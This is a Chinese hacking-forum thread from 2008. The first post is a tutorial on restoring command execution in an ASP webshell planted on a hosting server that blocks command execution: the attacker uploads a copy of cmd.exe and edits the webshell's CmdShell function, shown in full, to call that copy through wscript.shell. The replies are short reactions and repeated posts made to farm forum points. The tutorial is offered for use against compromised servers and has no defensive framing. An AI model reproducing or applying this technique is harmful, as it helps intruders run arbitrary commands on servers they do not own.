Board logo

标题: 关于WEBSHELL中的命令提示符没有权限提升 [打印本页]

作者: wmmy    时间: 2008-9-20 23:13     标题: 关于WEBSHELL中的命令提示符没有权限提升

有很多朋友问他得到了一个WEBSHELL,但是想用命令提示查看用户信息什么的,但是很多主机限制了执行命令,所以很多WEBSHELL就不能失去了很大的功能......前二天桂林老兵ASP站长助手6.0刚出来,我就以ASP站长助手6.0为例把它上传到一个禁止执行的虚拟主机,然后上传一个CMD.exe,然后调用你上传的CMD来执行命令......
本来想搞图文教程的,但感觉太简单,文字就可以说明清楚了
1.打开ASP站长助手6.0点击命令提示符,显示"没有权限"
2.用ASP站长助手6.0上传功能上传一个CMD.exe(在WIN\system32\cmd.exe)到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来)
3.修改你的webshell找到调用CMD.exe的代码
Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI="
"
SI=SI&""
SI=SI&""
<br> SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
<br> SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1"
Response.Write SI
End Function
修改成以下载的代码
Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI=" "
SI=SI&""
SI=SI&""
<br> SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall
<br> SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1
"
Response.Write SI
End Function
为了大家看得清楚把要修改的提出来就可以
原来的:
SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
修改成:
SI=SI&server.createobject("wscript.shell").exec("你想上传的cmd.exe绝对路径 /c "&DefCmd).stdout.readall
比如你上伟到的目录是D:\web\www\cmd.exe那么就修改成:
SI=SI&server.createobject("wscript.shell").exec("D:\web\www\cmd.exe /c "&DefCmd).stdout.readall
这样你的WEBSHELL中的命令提示符就可以用了......
作者: 上帝的爱    时间: 2008-9-21 00:03

.打开ASP站长助手6.0点击命令提示符,显示"没有权限"
2.用ASP站长助手6.0上传功能上传一个CMD.exe(在WIN\system32\cmd.exe)到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来)


哈哈哈!我刚传了一个cmd.exe你就弄了一篇文章,呵呵呵呵!配合的好啊!
作者: 柔肠寸断    时间: 2008-9-21 10:18

修改代码干嘛?
作者: wmmy    时间: 2008-9-24 17:49

虚拟主机禁止执行CMD的时候,可以通过修改webshell找到调用CMD.exe的代码来执行CMD
作者: 1335csy    时间: 2008-10-14 23:26     标题: 回复 4楼 wmmy 的帖子

可以这样么   学习下  我记得我找到一个支持命令行的WEBSHELL  不知道怎么提权
作者: enna201314    时间: 2009-4-22 22:38

为了能看到版主发的帖子,我要弄点分
作者: enna201314    时间: 2009-4-22 22:38

为了能看到版主发的帖子,我要弄点分a
作者: enna201314    时间: 2009-4-22 22:38

为了能看到版主发的帖子,我要弄点分aa
作者: enna201314    时间: 2009-4-22 22:39

为了能看到版主发的帖子,我要弄点分aaa
作者: enna201314    时间: 2009-4-22 22:39

为了能看到版主发的帖子,我要弄点分s
作者: enna201314    时间: 2009-4-22 22:41

为了能看到版主发的帖子,我要弄点分sss
作者: enna201314    时间: 2009-4-22 22:41

为了能看到版主发的帖子,我要弄点分asad
作者: enna201314    时间: 2009-4-22 22:42

为了能看到版主发的帖子,我要弄点分asdax




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2